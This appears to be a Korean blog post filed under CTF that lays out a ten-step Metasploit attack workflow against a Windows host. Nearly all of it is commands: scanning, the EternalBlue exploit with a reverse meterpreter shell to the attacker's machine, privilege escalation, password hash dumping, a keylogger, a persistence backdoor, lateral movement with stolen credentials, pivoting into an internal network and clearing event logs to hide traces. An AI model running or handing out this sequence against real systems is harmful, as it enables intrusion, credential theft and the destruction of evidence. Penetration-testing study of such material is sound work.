MSF workflow example

agnusdei·2025년 9월 17일
0

CTF

목록 보기
125/155

용은 훨씬 복잡하고 논리적인 연결 과정이 있죠. 제대로 설명해드리겠습니다.

실제 MSF 워크플로우 (논리적 연결)

1단계: 초기 정찰 및 정보 수집

# msfconsole 시작
msfconsole

# 네트워크 발견
use auxiliary/scanner/discovery/arp_sweep
set RHOSTS 192.168.1.0/24
run

# 포트 스캔 (더 정교하게)
use auxiliary/scanner/portscan/syn
set RHOSTS 192.168.1.100
set PORTS 1-65535
set THREADS 20
run

2단계: 서비스 열거 및 버전 확인

# SMB 서비스 확인
use auxiliary/scanner/smb/smb_version
set RHOSTS 192.168.1.100
run

# HTTP 서비스 확인
use auxiliary/scanner/http/http_version
set RHOSTS 192.168.1.100
run

# 결과 분석: Windows Server 2008, SMB 2.0, IIS 7.0 등 확인

3단계: 취약점 식별 및 검증

# 특정 취약점 스캔
use auxiliary/scanner/smb/smb_ms17_010
set RHOSTS 192.168.1.100
run

# 결과: VULNERABLE 표시 확인

4단계: 익스플로잇 선택 및 설정

# 익스플로잇 모듈 로드
use exploit/windows/smb/ms17_010_eternalblue
show options

# 페이로드 선택 (중요한 결정!)
show payloads
set payload windows/x64/meterpreter/reverse_tcp

# 리스너 설정 (자신의 공격 머신)
set LHOST 192.168.1.50
set LPORT 4444

# 타겟 설정
set RHOSTS 192.168.1.100

5단계: 익스플로잇 실행 및 세션 획득

# 실행 전 검증
check

# 익스플로잇 실행
exploit

# 성공 시 meterpreter 세션 획득
[*] Sending stage (200262 bytes) to 192.168.1.100
[*] Meterpreter session 1 opened

6단계: 세션 관리 및 Post-Exploitation

# 세션 확인
sessions -l

# 백그라운드로 세션 보내기
background

# 다른 세션으로 전환
sessions -i 1

# Meterpreter에서 시스템 정보 수집
meterpreter> sysinfo
meterpreter> getuid
meterpreter> ps  # 프로세스 목록

# 권한 상승 시도
meterpreter> getsystem

7단계: 지속성 확보 및 추가 공격

# 백도어 설치
meterpreter> run persistence -S -U -X -i 10 -p 4445

# 다른 세션에서 추가 공격 수행
# 세션을 백그라운드로 보내고
background

# 내부 네트워크 스캔
use auxiliary/scanner/portscan/tcp
set RHOSTS 192.168.1.0/24
set SESSION 1
run

# 또 다른 타겟 공격
use exploit/windows/smb/psexec
set SMBUser administrator
set SMBPass [획득한 패스워드]
set RHOSTS 192.168.1.101
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.1.50
set LPORT 4446
exploit

8단계: 다중 세션 관리

# 모든 세션 확인
sessions -l

# 세션 간 전환
sessions -i 1  # 첫 번째 세션
sessions -i 2  # 두 번째 세션

# 세션에서 쉘 실행
meterpreter> shell
C:\> whoami
C:\> exit

# 파일 다운로드/업로드
meterpreter> download C:\important.txt /tmp/
meterpreter> upload /tmp/backdoor.exe C:\temp\

9단계: 네트워크 피벗팅

# 라우트 추가 (내부 네트워크 접근)
meterpreter> run autoroute -s 10.0.0.0/24

# 백그라운드로 보내기
background

# SOCKS 프록시 설정
use auxiliary/server/socks4a
set SRVHOST 127.0.0.1
set SRVPORT 1080
run -j

# 이제 내부 네트워크 공격 가능
use exploit/windows/smb/ms17_010_eternalblue
set RHOSTS 10.0.0.5
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.1.50
set LPORT 4447
exploit

10단계: 데이터 수집 및 정리

# 각 세션에서 정보 수집
sessions -i 1
meterpreter> hashdump  # 패스워드 해시 덤프
meterpreter> screenshot  # 화면 캡처
meterpreter> keyscan_start  # 키로거 시작

# 세션 종료 전 흔적 제거
meterpreter> clearev  # 이벤트 로그 삭제

핵심 논리적 연결

  1. 정보 → 취약점 → 공격: 수집한 정보로 적절한 익스플로잇 선택
  2. 세션 관리: 여러 세션을 동시에 관리하며 네트워크 확장
  3. 피벗팅: 하나의 세션을 발판으로 내부 네트워크 공격
  4. 지속성: 재접속 가능한 백도어 설치
  5. 수평 확산: 획득한 자격 증명으로 다른 시스템 공격
profile
DevSecOps ⚙️ + CTF🚩

0개의 댓글